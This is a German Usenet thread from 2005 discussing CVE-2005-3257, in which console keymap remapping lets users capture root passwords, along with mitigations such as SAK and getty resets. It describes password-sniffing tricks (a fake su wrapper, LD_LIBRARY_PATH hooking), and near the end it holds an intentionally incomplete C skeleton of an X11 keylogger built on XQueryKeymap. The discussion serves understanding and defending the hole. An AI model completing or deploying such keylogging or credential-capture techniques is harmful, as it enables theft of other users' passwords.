haben, freuen wenn sie jedes mal wenn eine noch so kleine Wartungsarbeit
ansteht den Server rebooten müssen...
>>>Der einzige Workaround besteht darin, sich nicht ohne Reboot lokal als root einzuloggen.
>>
>>Inakzeptabel...
>
>
> Es gäbe für so Fälle zwar eine "special attention key", die auch nicht
> umgemappt werden kann - sie killt aber alle Prozesse auf dem laufenden
> VT und hat gerade auf tty1 oder auf X11 üble Nebeneffekte (macht man das
> auf dem X11-Terminal, gibt's bis Reboot nie wieder einen Textmodus).
>
> Allerdings setzt die SAK nicht die Keymap zurück, und selbst wenn es die
> SAK tun würde, kann auch ein User auf einem anderen tty die Keymap
> ändern (da es nur eine globale gibt).
Wo ist dann der Sinn des ganzen?
>>Wenn man unter X das Root-Passwort mitlesen kann sind die ganzen
>>"grafischen Tools" die das Root-Passwort wollen für mich nicht mehr
>>relevant.
>
>
> Es können genau die Programme das root-Passwort mitlesen, die auch nach
> einem sudo -s oder su - deine Rootshell übernehmen könnten. Nämlich die
> unter deiner UID.
>
> Da ist X11 nicht unbedingt als unsicher einzustufen.
Wenn wie oben erwähnt ein Programm eine Lücke aufweist, die
Codeausführung mit Benutzerrechten ermöglicht, dann eben schon.
Mit dem Risiko "X-Server" kann ich leben (zumal es dort ja
offensichtlich mit "securekbd" eine Lösung gibt). Ich möchte aber
wenigstens auf einer anderen VT sicher als root arbeiten.
>>Da ich die gesamten Systemadministration textbasiert mache würde mir
>>eine VT reichen. Wenn die aber auch nicht sicher ist....
>
>
> Es gibt zum Glück mehr als nur Linux. Ähnliche Lücken werden auf FreeBSD
> sehr ernst genommen; leider wurde da aber auch letztes Jahr was gefunden
> und gefixt (Screenshotfunktion lieferte Kernelspeicher), weshalb ich da
> keine uneingeschränkte Empfehlung aussprechen kann. Zumal die
> Funktionalität der SAK fehlt (aber "alles killen, was das aktuelle TTY
> offen hat, danach alles Nötige zurücksetzen" kann recht einfach als
> Aktion auf das Einstecken eines bestimmten USB-Gerätes festgelegt
> werden, und da Textkonsolen jeweils ihre eigene Keymap haben, würde es
> sogar wirken - wäre allerdings etwas Handarbeit).
Es ist unter Linux schon nicht ganz einfach exotische Hardware zum
Laufen zu bekommen. Ich gehe jetzt einfach mal davon aus das das unter
BSD nicht einfacher wird.
Da jetzt so langsam meine Meinung zu Linux ins Wanken gerät habe ich das
ganze mal etwas großzügiger gequotet und werde das jetzt mal nach dcoulm
weiterreichen. Ich hasse Wind**s aber ich unterstelle jetzt einfach mal
das ich dort sicher sein kann das kein Programm mitliest, wenn ich mich
als Benutzer auslogge und als Administrator wieder einlogge.
CU
Manuel
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> »Arnold Schiller« <schi...@babsi.de> wrote:
>> Manuel Reimer:
>> > Mich würde jetzt interessieren wie gefährlich diese Vorgehensweise ist.
>> > Kann ein "Böses Programm" das mit Benutzerrechten auf dem gleichen
>> > X-Server läuft die Tasteneingaben mitlesen, wenn ich einfach auf dem
>> > X-Server ein xterm aufmachen und dort via "su" zu root wechsle?
>>
>> Dürfte imho vom X-Server unabhängig sein, das entscheidende ist imho, ob
>> es einem bösen Programm möglich ist auf das Device lesend zuzugreifen.
>> Wenn es bösen Programm gelingt die Ein- Ausgabeoperationen umzuleiten,
>> aber manchmal ist das ja gewollt, wenn Systemmeldungen auf der xconsole
>> ausgegeben werden.
>
> Viel einfacher.
>
> ~/.profile, ~/.bashrc oder ~/.alias bearbeiten, so dass $HOME/bin im
> PATH steht (falls nicht eh schon vorhanden).
>
> $HOME/bin/su anlegen. Es sei z.B. ein expect-Frontend für /bin/su, das
> das Passwort mitschneidet. Trivial machbar, und die gleiche
> Funktionsweise geht auch mit anderen Passwörter abfragenden Programmen.
Wenn man schon an den Dateien ändern kann, könnte man auch ein kleine
Bibliothek, die interessante Bibliotheksaufrufe mitschneidet, einspielen
und LD_LIBRARY_PATH setzen. Damit ist dem Angreifer eigentlich Tür und
Tor geöffnet
Schöne Grüße, Jörg.
--
Real programmers don't comment their code. It was hard to write,
it should be hard to understand.
Rudolf Polzer
> Wenn man schon an den Dateien ändern kann, könnte man auch ein kleine
> Bibliothek, die interessante Bibliotheksaufrufe mitschneidet, einspielen
> und LD_LIBRARY_PATH setzen. Damit ist dem Angreifer eigentlich Tür und
> Tor geöffnet
Damit könnte man insbesondere diese Manipulation gegenüber dynamisch
gelinkten Shells und Programmen verstecken.
Peter J. Holzer
> »Manuel Reimer« <Manuel.N...@nurfuerspam.de> wrote:
> > Rudolf Polzer wrote:
> > > http://www.securityfocus.com/bid/15122
> > >
> > > Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
> > > verschiedenen Usern benutzt zu werden.
> > >
> > > Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
> > > relevant.
> >
> > Ist für mich garnicht albern.
>
> Für die Linux-Entwickler schon. Wenn man sowas bringt, heißt es immer
> "wer lokal am Rechner sitzt, kann eh tun, was er will".
Auf den zweiten Blick ist das Problem allerdings gar nicht so groß:
Der potentielle Angreifer kann keine Taste umdefinieren, die sein Opfer
beim Einloggen braucht, sonst kann sich das Opfer nicht einloggen. Nach
dem einloggen hingegen kann das Opfer im .profile die Keymap wieder in
einen bekannten Zustand setzen.
Man müsste also "lediglich" sicherstellen, dass auf keiner anderen
Konsole jemand eingeloggt ist, bevor man sich als Root einloggt.
Alt-SysRq-K auf jeder Konsole?
> > Wenn es nun nichtmal mehr möglich ist auf einer VT sicher zu tippen
> > stelle ich an dieser Stelle die Sicherheit von Linux in Frage.
> >
> > Wie finde ich diese CAN-2005-3257
> >
> > Gibt es bereits einen Kernel-Patch? Wird daran gearbeitet?
>
> Debian hat einen, das Kernelteam nicht.
Wenn Andrew schreibt, er hätte das mit Alan diskutiert, und den Patch in
-mm gesteckt, gehe ich mal davon aus, dass "das Kernelteam" einen hat.
<http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=334113;msg=20>
Die Frage ist, ob ob der Patch auch in den Vanilla-Kernel kommt.
Immerhin hat er unerwünschte Nebenwirkungen (User können ihre Keymap
nicht mehr umdefinieren). Sauber wären getrennte Keymaps pro Konsole.
> linux-2.6 (2.6.14-4) unstable; urgency=low
> .
> [ dann frazier ]
> * setkeys-needs-root-1.patch, setkeys-needs-root-2.patch:
> [SECURITY] Require root privilege to write the current
> function key string entry of other user's terminals.
> See CVE-2005-3257 (Closes: #334113)
Die Beschreibung klingt reichlich seltsam. Erstens geht es nicht um
"Function keys", sondern um alle, und zweitens gibt es nur eine globale
Keymap, somit kann man nicht nur das Mapping von "other user's
terminals" beeinflussen, sondern nur das aller Konsolen.
> Das ist bei Linux immer so - wenn eine Lücke nur lokal ausnutzbar ist, heißt es
> immer "wer den Rechner sehen kann, ist eh schon root" und das Geflame geht los.
> Fixen wird solche Dinge niemand.
>
> Aber vielleicht kommt in drei Jahren endlich die "echte" SAK, die dann:
> - alle Prozesse auf dem aktuellen TTY killt
> - Keyboardlayout zurücksetzt
> - Bildschirmmodus zurücksetzt
Das ist ziemlich genau das, was Ctrl-Alt-Backspace bei X11 macht:
- der X-Server wird gekillt (womit alle X-Clients die Connection
verlieren und somit nichts mehr anstellen können)
- Der neue X-Server reinitialisiert das Keyboard und den
Bildschirmmodus.
- xdm startet einen neuen Login-Screen als einzigen X-Client.
Problem dabei ist nur, dass Ctrl-Alt-Backspace remappable ist.
Auf der Konsole wäre das Zurücksetzen von Keyboard-Layout und
Bildschirmmodus die Aufgabe von getty. (Wobei das Zurücksetzen des
Bildschirmmodus nicht trivial ist: I.A. kann das nur der Prozess, der
umgeschaltet hat, weil nur der weiß, was geändert wurde)
Peter J. Holzer
> Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> > $HOME/bin/su anlegen. Es sei z.B. ein expect-Frontend für /bin/su, das
> > das Passwort mitschneidet. Trivial machbar, und die gleiche
> > Funktionsweise geht auch mit anderen Passwörter abfragenden Programmen.
>
> Wenn man schon an den Dateien ändern kann, könnte man auch ein kleine
> Bibliothek, die interessante Bibliotheksaufrufe mitschneidet, einspielen
> und LD_LIBRARY_PATH setzen.
Geht bei suid-Programmen aus gutem Grund nicht. Andererseits - ssh ist
nicht setuid.
Rudolf Polzer
>
> Der potentielle Angreifer kann keine Taste umdefinieren, die sein Opfer
> beim Einloggen braucht, sonst kann sich das Opfer nicht einloggen. Nach
> dem einloggen hingegen kann das Opfer im .profile die Keymap wieder in
> einen bekannten Zustand setzen.
>
> Man müsste also "lediglich" sicherstellen, dass auf keiner anderen
> Konsole jemand eingeloggt ist, bevor man sich als Root einloggt.
> Alt-SysRq-K auf jeder Konsole?
Bzw. die definierte SAK (beliebt ist Ctrl-Alt-Esc).
> > > Wenn es nun nichtmal mehr möglich ist auf einer VT sicher zu tippen
> > > stelle ich an dieser Stelle die Sicherheit von Linux in Frage.
> > >
> > > Wie finde ich diese CAN-2005-3257
> > >
> > > Gibt es bereits einen Kernel-Patch? Wird daran gearbeitet?
> >
> > Debian hat einen, das Kernelteam nicht.
>
> Wenn Andrew schreibt, er hätte das mit Alan diskutiert, und den Patch in
> -mm gesteckt, gehe ich mal davon aus, dass "das Kernelteam" einen hat.
>
> <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=334113;msg=20>
>
> Die Frage ist, ob ob der Patch auch in den Vanilla-Kernel kommt.
>
> Immerhin hat er unerwünschte Nebenwirkungen (User können ihre Keymap
> nicht mehr umdefinieren). Sauber wären getrennte Keymaps pro Konsole.
Eben.
> > linux-2.6 (2.6.14-4) unstable; urgency=low
> > .
> > [ dann frazier ]
> > * setkeys-needs-root-1.patch, setkeys-needs-root-2.patch:
> > [SECURITY] Require root privilege to write the current
> > function key string entry of other user's terminals.
> > See CVE-2005-3257 (Closes: #334113)
>
> Die Beschreibung klingt reichlich seltsam. Erstens geht es nicht um
> "Function keys", sondern um alle,
Der Patch schränkt nur die function keys ein...
es reicht aber bereits aus, um den Angriff effektiv zu verhindern. Mit
function keys ist eine Tabelle gemeint, welcher Zahl welcher String
zugeordnet wird, und in der Keymap kann man z.B. den Tasten diese
Strings aus der Tabelle zuordnen.
D.h. ein Angreifer kann Tasten nur mit einem Zeichen belegen, nicht mit
Strings.
> > Das ist bei Linux immer so - wenn eine Lücke nur lokal ausnutzbar ist, heißt es
> > immer "wer den Rechner sehen kann, ist eh schon root" und das Geflame geht los.
> > Fixen wird solche Dinge niemand.
> >
> > Aber vielleicht kommt in drei Jahren endlich die "echte" SAK, die dann:
> > - alle Prozesse auf dem aktuellen TTY killt
> > - Keyboardlayout zurücksetzt
> > - Bildschirmmodus zurücksetzt
>
> Das ist ziemlich genau das, was Ctrl-Alt-Backspace bei X11 macht:
>
> - der X-Server wird gekillt (womit alle X-Clients die Connection
> verlieren und somit nichts mehr anstellen können)
>
> - Der neue X-Server reinitialisiert das Keyboard und den
> Bildschirmmodus.
>
> - xdm startet einen neuen Login-Screen als einzigen X-Client.
>
> Problem dabei ist nur, dass Ctrl-Alt-Backspace remappable ist.
Leider.
> Auf der Konsole wäre das Zurücksetzen von Keyboard-Layout und
> Bildschirmmodus die Aufgabe von getty. (Wobei das Zurücksetzen des
> Bildschirmmodus nicht trivial ist: I.A. kann das nur der Prozess, der
> umgeschaltet hat, weil nur der weiß, was geändert wurde)
Auf BSD anders - da tut "vidcontrol 80x25" genau das.
Aber woran erkennst du ein echtes getty? Hier brauchen wir wieder eine
SAK.
Rudolf Polzer
Die Library könnte auch exec*() abfangen und statt su was Böses starten.
Peter J. Holzer
> »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
> > Auf den zweiten Blick ist das Problem allerdings gar nicht so groß:
> >
> > Der potentielle Angreifer kann keine Taste umdefinieren, die sein Opfer
> > beim Einloggen braucht, sonst kann sich das Opfer nicht einloggen. Nach
> > dem einloggen hingegen kann das Opfer im .profile die Keymap wieder in
> > einen bekannten Zustand setzen.
> >
> > Man müsste also "lediglich" sicherstellen, dass auf keiner anderen
> > Konsole jemand eingeloggt ist, bevor man sich als Root einloggt.
> > Alt-SysRq-K auf jeder Konsole?
>
> Bzw. die definierte SAK (beliebt ist Ctrl-Alt-Esc).
Die aber unter Linux nicht existiert. Ich sprach von Möglichkeiten, die
man schon bisher als Admin hatte, nicht von solchen, die vielleicht in
Zukunft mal implementiert werden. Sorry, falls das missverständlich war.
> > > linux-2.6 (2.6.14-4) unstable; urgency=low
> > > .
> > > [ dann frazier ]
> > > * setkeys-needs-root-1.patch, setkeys-needs-root-2.patch:
> > > [SECURITY] Require root privilege to write the current
> > > function key string entry of other user's terminals.
> > > See CVE-2005-3257 (Closes: #334113)
> >
> > Die Beschreibung klingt reichlich seltsam. Erstens geht es nicht um
> > "Function keys", sondern um alle,
>
> Der Patch schränkt nur die function keys ein...
>
> es reicht aber bereits aus, um den Angriff effektiv zu verhindern. Mit
> function keys ist eine Tabelle gemeint, welcher Zahl welcher String
> zugeordnet wird, und in der Keymap kann man z.B. den Tasten diese
> Strings aus der Tabelle zuordnen.
Ah. Sorry, habe ich missverstanden. Unter "function keys" verstehe ich
die 12 Tasten am oberen Ende der PC-Tastatur, die üblicherweise mit F1
bis F12 beschriftet sind, nicht eine Tabelle im Kernel.
> > Auf der Konsole wäre das Zurücksetzen von Keyboard-Layout und
> > Bildschirmmodus die Aufgabe von getty. (Wobei das Zurücksetzen des
> > Bildschirmmodus nicht trivial ist: I.A. kann das nur der Prozess, der
> > umgeschaltet hat, weil nur der weiß, was geändert wurde)
>
> Auf BSD anders - da tut "vidcontrol 80x25" genau das.
Zuverlässig? Mit jeder Graphikkarte? Das Problem ist, dass
PC-Graphikkarten Write-Only-Register haben, so dass man ihren Zustand
nicht abspeichern kann, und es keinen standardisierten Weg gibt, sie in
einen bekannten Zustand zu bringen. D.h., Du musst erstens wissen,
welche Graphikkarte das ist und zweitens musst Du zumindest eine
vollständige Liste der Register haben, an denen z.B. der X-Server
herumgefudelt haben könnte, und deren notwendige Werte für den
Textmodus. Bei Binary-only-Treibern hast Du das eher nicht.
Davon abgesehen bin ich ziemlich sicher, dass es ein äquivalentes Tool
für Linux gibt oder zumindest mal gab (als Graphikkarten noch
dokumentiert waren). Da ich die Konsole aber (fast) nur auf Servern
verwende, die kein X installiert haben, habe ich vergessen, wie es
heißt.
> Aber woran erkennst du ein echtes getty?
Brauchst Du nicht. Du drückst Alt-SysRq-K, der Kernel killt alle
Prozesse und der init startet den getty. Wenn Alt-SysRq-K nicht
funktioniert oder jemand die inittab geändert hat, hast Du ein größeres
Problem.
Der getty muss nur das VT in einen definierten Zustand bringen. Bei
seriellen Terminals tut er das, bei VTs leider nicht. Zumindest die
Keymap zu reinitialisieren wäre trivial. Textmodus wiederherstellen
nicht (s.o.).
Jörg Sommer
Peter J. Holzer <hjp-u...@hjp.at> schrieb:
Hast du ein Programm dazu gefunden?
Schöne Grüße, Jörg.
--
MCSE = Minesweeper Consultant & Solitaire Expert
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> »Manuel Reimer« <Manuel.N...@nurfuerspam.de> wrote:
>> Rudolf Polzer wrote:
>> > http://www.securityfocus.com/bid/15122
>> >
>> > Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
>> > verschiedenen Usern benutzt zu werden.
>> >
>> > Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
>> > relevant.
>>
>> Ist für mich garnicht albern.
>
> Für die Linux-Entwickler schon. Wenn man sowas bringt, heißt es immer
> "wer lokal am Rechner sitzt, kann eh tun, was er will".
>
> Aber "Rechner aufschrauben, BIOS-Reset-Jumper setzen, einschalten,
> Knoppix booten" ist doch ein wenig mehr Aufwand als "auf tty1 gehen,
> ominösen loadkeys-Befehl eingeben, gehen, abwarten".
>
> In einem Rechnerpool braucht man für ersteres um einiges mehr kriminelle
> Energie als für letzteres
So geschehen bei uns im Pool an der Fakultät. Der Pool ist
videoüberwacht und es kommt regelmäßig jemand vorbei. Denoch hat es
jemand fertig gebracht, in den Abendstunden den Rechner aufzuschrauben
und den RAM zu entwenden.
Das sowas nicht passiert, sollte man also nicht mehr annehmen, wenn die
Benutzergruppe hinreichend groß ist.
Oder das am helllichten Tage aus dem Drucker neben der Tür der Toner
geklaut wird.
Schöne Grüße, Jörg.
--
Ein Optimist ist in der Regel ein Zeitgenosse, der ungenuegend informiert ist.
(John B. Priestley)
Rudolf Polzer
> On 2005-12-04 16:21:25 +0000, Rudolf Polzer wrote:
> > »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
> > > Auf den zweiten Blick ist das Problem allerdings gar nicht so groß:
> > >
> > > Der potentielle Angreifer kann keine Taste umdefinieren, die sein Opfer
> > > beim Einloggen braucht, sonst kann sich das Opfer nicht einloggen. Nach
> > > dem einloggen hingegen kann das Opfer im .profile die Keymap wieder in
> > > einen bekannten Zustand setzen.
> > >
> > > Man müsste also "lediglich" sicherstellen, dass auf keiner anderen
> > > Konsole jemand eingeloggt ist, bevor man sich als Root einloggt.
> > > Alt-SysRq-K auf jeder Konsole?
> >
> > Bzw. die definierte SAK (beliebt ist Ctrl-Alt-Esc).
>
> Die aber unter Linux nicht existiert. Ich sprach von Möglichkeiten, die
> man schon bisher als Admin hatte, nicht von solchen, die vielleicht in
> Zukunft mal implementiert werden. Sorry, falls das missverständlich war.
Sie existiert schon, ist "bloß" noch nicht "fertig".
Das, was über sie dokumentiert ist - nämlich, dass sie alle Prozesse auf
dem aktuellen VTY killt - klappt auch schon.
> > > Auf der Konsole wäre das Zurücksetzen von Keyboard-Layout und
> > > Bildschirmmodus die Aufgabe von getty. (Wobei das Zurücksetzen des
> > > Bildschirmmodus nicht trivial ist: I.A. kann das nur der Prozess, der
> > > umgeschaltet hat, weil nur der weiß, was geändert wurde)
> >
> > Auf BSD anders - da tut "vidcontrol 80x25" genau das.
>
> Zuverlässig? Mit jeder Graphikkarte?
Ja, ist aber geschummelt - der Kernel setzt nicht die
Grafikkarten-Register selbst, sondern nutzt dafür das BIOS.
Daher sind auch nicht so viele Textmodi verfügbar wie unter Linux -
132x50 gar nicht, es gibt nur 80x25, 80x43, 80x50 und 80x60, also nur
die standardmäßigen VGA-Textmodi. Dazu noch paar getweakte Modi, die
nicht überall funktionieren müssen (wie 90x25), und ein auf 800x600
hardcoded Framebuffer (bitte, erweitert den mal um weitere Auflösungen
für Notebooks).
> Das Problem ist, dass PC-Graphikkarten Write-Only-Register haben, so
> dass man ihren Zustand nicht abspeichern kann, und es keinen
> standardisierten Weg gibt, sie in einen bekannten Zustand zu bringen.
Doch, das Grafikkarten-BIOS.
Das kann aber nicht den aktuellen Zustand speichern und
wiederherstellen, sondern lediglich einige bekannte Modi einstellen (wie
eben 80x25).
> Davon abgesehen bin ich ziemlich sicher, dass es ein äquivalentes Tool
> für Linux gibt oder zumindest mal gab (als Graphikkarten noch
> dokumentiert waren). Da ich die Konsole aber (fast) nur auf Servern
> verwende, die kein X installiert haben, habe ich vergessen, wie es
> heißt.
Es gab mal savetextmode/restoretextmode bei der svgalib zu genau diesem
Zweck. Klappt aber genau wegen deiner angesprochenen Problematik heute
nicht mehr.
> > Aber woran erkennst du ein echtes getty?
>
> Brauchst Du nicht. Du drückst Alt-SysRq-K, der Kernel killt alle
> Prozesse und der init startet den getty. Wenn Alt-SysRq-K nicht
> funktioniert oder jemand die inittab geändert hat, hast Du ein größeres
> Problem.
>
> Der getty muss nur das VT in einen definierten Zustand bringen. Bei
> seriellen Terminals tut er das, bei VTs leider nicht. Zumindest die
> Keymap zu reinitialisieren wäre trivial. Textmodus wiederherstellen
> nicht (s.o.).
Genau, ein entsprechend gepatchtes getty (oder notfalls in inittab ein
Shellskript, das das tut und danach das getty aufruft, statt des getty
eintragen) würde genau das tun.
Gute Idee, ich glaube, ich baue das mal für den Studentenpool. Ob ich
die SAK einschalten werde, weiß ich allerdings noch nicht - die
"Idiotenquote" derer, die die SAK im X-Bildschirm drücken werden, wäre
wohl zu hoch. Reboots der Rechner sind ziemlich unangenehm (oft geht das
nicht, weil Profs eingeloggt sind und mit pine (Disclaimer: ich weiß,
dass es von denselben Leuten geschrieben wird, die auch wu-ftpd
geschrieben haben, welcher für seine Sicherheit schon immer hoch gelobt
wurde - aber dieses Programm darf leider nicht verschwinden, zumindest
nicht, bis cone die Funktionalität hinreichend genau nachbildet) ihre
Mails lesen).
Ach, wenn man nur den Bildschirmmodus zurücksetzen könnte... müsste mal
schauen, wie gut savetextmode/restoretextmode bei der Geforce 2 läuft.
Wenn das geht, wird die SAK aktiviert, und das getty setzt den
Bildschirmmodus zurück. Wer bei laufendem X seine Shell auf tty1 killt,
ist dann halt selbst schuld und wird Ctrl-Alt-Backspacen müssen.
Rudolf Polzer
> > Knoppix booten" ist doch ein wenig mehr Aufwand als "auf tty1 gehen,
> > ominösen loadkeys-Befehl eingeben, gehen, abwarten".
> >
> > In einem Rechnerpool braucht man für ersteres um einiges mehr kriminelle
> > Energie als für letzteres
>
> So geschehen bei uns im Pool an der Fakultät. Der Pool ist
> videoüberwacht und es kommt regelmäßig jemand vorbei. Denoch hat es
> jemand fertig gebracht, in den Abendstunden den Rechner aufzuschrauben
> und den RAM zu entwenden.
War es auf den Videos zu sehen?
Hatte er sich vorher auf einem anderen Rechner mit Username eingeloggt?
;)
Trotzdem dürfte die Zahl derer, die sowas tun, um einiges geringer sein
- und es fällt hier auch auf, wenn ein Rechner seinen Cronjob "ich bin
da, soll ich die Updates vom FTP ziehen oder habt ihr sonstige
Konfigurationsänderungen für mich?" nicht ausführt.
> Das sowas nicht passiert, sollte man also nicht mehr annehmen, wenn die
> Benutzergruppe hinreichend groß ist.
Bei uns verschwinden eher alte schmutzige billige PS/2-Standardmäuse.
Ich will nicht wissen, was für einen Fetisch man dafür haben muss.
> Oder das am helllichten Tage aus dem Drucker neben der Tür der Toner
> geklaut wird.
Das ist um einiges leichter und schneller zu machen. Klappe auf, Toner
raus, Klappe zu. Merkt garantiert keiner, wenn da nicht gerade einer
steht.
Ich bezweifle allerdings, dass unser Toner in irgendwelche Heimdrucker
reinpasst.
Rudolf Polzer
> Peter J. Holzer <hjp-u...@hjp.at> schrieb:
> > On 2005-12-01 21:35:04 +0100, Daniel Fischer wrote:
> >> Peter J. Holzer!
> >
> > Hier!
> >
> >> > Hmm, ich finde jetzt die X-Funktion nicht mehr, die eine Bitmap
> >> > aller gerade gedrückten Tasten zurückliefert. Gibt es die nicht mehr
> >> > oder finde ich nur die Manpage nicht mehr?
> >>
> >> XQueryKeymap.
> >
> > Danke, das wars.
>
> Hast du ein Programm dazu gefunden?
Solche Dinge schreibe ich lieber selbst, dann weiß ich, dass da nichts
weiter Böses drin ist.
Hier das Grundgerüst meines Programms (als fertigen funktionierenden
Keylogger werde ich das garantiert nicht im Usenet posten - sollte
immerhin ausreichen, um Kiddies auszuschließen - und aus demselben Grund
fehlt auch etwas im Code, was du aber leicht nachrüsten können solltest):
#include <X11/Xlib.h>
void CompareKeymaps(Display *dpy, const Keymap k1, const Keymap k2)
{
int i, j;
for(i = 0; i != 32; ++i)
{
char d = k1[i] &~ k2[i];
char p = k2[i] &~ k1[i];
for(j = 0, k = 1; j != 8; ++j, k <<= 1)
{
// wenn p&k, dann ist die Taste mit Code 8i+j eben gedrückt
// worden. Analog d&k.
}
}
}
int main()
{
Keymap k2 = {0};
Display *dpy = XOpenDisplay(0);
if(!dpy)
err(1, "don't have a display, cu\n");
for(;;)
{
XQueryKeymap(dpy, k1);
CompareKeymaps(dpy, k2, k1);
XQueryKeymap(dpy, k2);
CompareKeymaps(dpy, k1, k2);
Peter J. Holzer
> »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
> > On 2005-12-04 16:21:25 +0000, Rudolf Polzer wrote:
> > > »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
> > > > Man müsste also "lediglich" sicherstellen, dass auf keiner anderen
> > > > Konsole jemand eingeloggt ist, bevor man sich als Root einloggt.
> > > > Alt-SysRq-K auf jeder Konsole?
> > >
> > > Bzw. die definierte SAK (beliebt ist Ctrl-Alt-Esc).
> >
> > Die aber unter Linux nicht existiert. Ich sprach von Möglichkeiten, die
> > man schon bisher als Admin hatte, nicht von solchen, die vielleicht in
> > Zukunft mal implementiert werden. Sorry, falls das missverständlich war.
>
> Sie existiert schon, ist "bloß" noch nicht "fertig".
Ah, ja. Ich kannte nur Alt-SysRq-K, das in der Doku ebenfalls als SAK
(aber kein richiges) bezeichnet wird.
Es würde vielleicht bei der Fertigstellung helfen, wenn irgendwer mal
Andrew Mortons Frage aus dem Jahr 2001 beantworten würde:
| Can anyone tell me *why* our SAK implementation doesn't
| meet C2 requirements?
Die Frage findet Google an diversen Stellen, Antwort aber keine.
Peter J. Holzer
> Peter J. Holzer <hjp-u...@hjp.at> schrieb:
> > On 2005-12-01 21:35:04 +0100, Daniel Fischer wrote:
> >> > Hmm, ich finde jetzt die X-Funktion nicht mehr, die eine Bitmap
> >> > aller gerade gedrückten Tasten zurückliefert. Gibt es die nicht mehr
> >> > oder finde ich nur die Manpage nicht mehr?
> >>
> >> XQueryKeymap.
> >
> > Danke, das wars.
>
> Hast du ein Programm dazu gefunden?
Nein, ich habe gar nicht gesucht. Ich weiß, dass ich ca. 1995 ein
solches Programm geschrieben habe, vermutlich gibt es das auch noch auf
einer Floppy oder einem DDS-Band. War aber eine leichte Übung, und ist
wahrscheinlich schneller neu geschrieben als gefunden, falls ich es mal
wieder brauchen sollte.
Rudolf Polzer
Ich kenne die C2-Anforderungen nicht, und scheinbar auch niemand sonstg.
Aber ich _vermute_, dass es mit der Nichtzurücksetzung von
Keyboardlayout und Bildschirmmodus zu tun hat.
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> »Jörg Sommer« <jo...@alea.gnuu.de> wrote:
>> Peter J. Holzer <hjp-u...@hjp.at> schrieb:
>> > On 2005-12-01 21:35:04 +0100, Daniel Fischer wrote:
>> >> Peter J. Holzer!
>> >
>> > Hier!
>> >
>> >> > Hmm, ich finde jetzt die X-Funktion nicht mehr, die eine Bitmap
>> >> > aller gerade gedrückten Tasten zurückliefert. Gibt es die nicht mehr
>> >> > oder finde ich nur die Manpage nicht mehr?
>> >>
>> >> XQueryKeymap.
>> >
>> > Danke, das wars.
>>
>> Hast du ein Programm dazu gefunden?
>
> Solche Dinge schreibe ich lieber selbst, dann weiß ich, dass da nichts
> weiter Böses drin ist.
:-)
> Hier das Grundgerüst meines Programms
Schreibst du das noch fertig? Ich würde ein Programm, wie es unter OS X
bei der Tastatureinstellung dabei ist gern haben. Da wird dir mit jedem
Tastendruck das Tastaturlayout angezeigt. Sprich, du drückst die
Umschalttaste und die Buchstaben werden alle groß.
Willst du sowas schreiben oder soll es ein reiner Tastenlogger werden?
Schöne Grüße, Jörg.
--
Wer einen Traum verwirklichen will, muss erst aufwachen.
Peter J. Holzer
> die "Idiotenquote" derer, die die SAK im X-Bildschirm drücken werden,
> wäre wohl zu hoch.
Eine genügend obskure Tastenkombination sollte die Quote hinreichend
niedrig halten, sofern Du SAK nur für die Sysadmins haben willst. Wenn
Du den Studenten beibringen willst, dass die SAK drücken sollen, um
sich einzuloggen (so wie unter Windows) dann wird natürlich ein gewisser
Prozentsatz nicht vorher auf eine Textkonsole umschalten.
Ich habe das gerade mal auf meinem Laptop getestet (keine Garantie, dass
andere Rechner sich genauso verhalten):
Wenn ich im X-Server SAK drücke, wird der X-Server gekillt und neu
gestartet. Wenn ich anschließend auf eine Text-Konsole umschalten will,
friert der Rechner scheinbar ein (X-Display bleibt sichtbar, aber keine
Reaktion auf Tastendrücke oder Mausbewegungen - zurückschalten auf
X-Server unmöglich). Drücke ich nochmal SAK, bekomme ich wieder den
X11-Login.
Eine Kombination von SAK und DontVTSwitch scheint mir für Workstations
durchaus brauchbar. Man kann sich dann halt nur unter X11 einloggen und
nicht an einer Text-Konsole. Ist bei manchen "echten" Unix-Workstations
auch so ähnlich.
Rudolf Polzer
> > Ob ich die SAK einschalten werde, weiß ich allerdings noch nicht -
> > die "Idiotenquote" derer, die die SAK im X-Bildschirm drücken werden,
> > wäre wohl zu hoch.
>
> Eine genügend obskure Tastenkombination sollte die Quote hinreichend
> niedrig halten, sofern Du SAK nur für die Sysadmins haben willst.
Seit der loadkeys-Geschichte ist das erst einmal nicht erforderlich -
wir haben uns daran gewöhnt, dass wir uns nicht lokal als root einloggen
auf den Poolrechnern.
Ist ja auch kaum erforderlich - da geht's dann halt in den Raum mit den
Adminrechnern und von dort mit ssh. Hatten sowieso lange kein Problem
mehr, an dem nicht die User schuld waren... wird Zeit, dass Fedora
wieder mal was kaputt macht, aber die sind zur Zeit eher damit
beschäftigt, uns neue Überraschungen in Fedora Core 5 zu bescheren ;)
(Nein, Fedora war nicht meine Entscheidung... aber es funktioniert
einigermaßen gut, es ist nicht wirklich so bequem wie Debian, aber davon
abraten kann ich auch nicht unbedingt)
> Eine Kombination von SAK und DontVTSwitch scheint mir für Workstations
> durchaus brauchbar. Man kann sich dann halt nur unter X11 einloggen und
> nicht an einer Text-Konsole. Ist bei manchen "echten" Unix-Workstations
> auch so ähnlich.
Textkonsolenlogin ist für User aber erforderlich, wenn sie ihre Quota
über die grace time hinaus überschritten haben (oder das "große" Limit
erreicht haben).
Zumindest ist dann bei den Studenten kein graphisches Login mehr möglich
- nicht einmal auf "Failsafe", d.h. "nur xterm starten".
Und "meine Quota ist voll" ist auch mit 250 MB Quota immer noch ein sehr
häufiges Problem - meist verursacht durch den
Netscape/Mozilla-Profilwahnsinn (es bleiben Lockfiles liegen, und die
bieten dann an, ein neues Profil anzulegen - mit weiteren 50 MB Cache).
Aber mit Firefox 1.5 hat sich das wohl endlich gebessert - jetzt kommt
bei rumliegenden Lockfile kein Angebot mehr, ein neues Profil anzulegen.
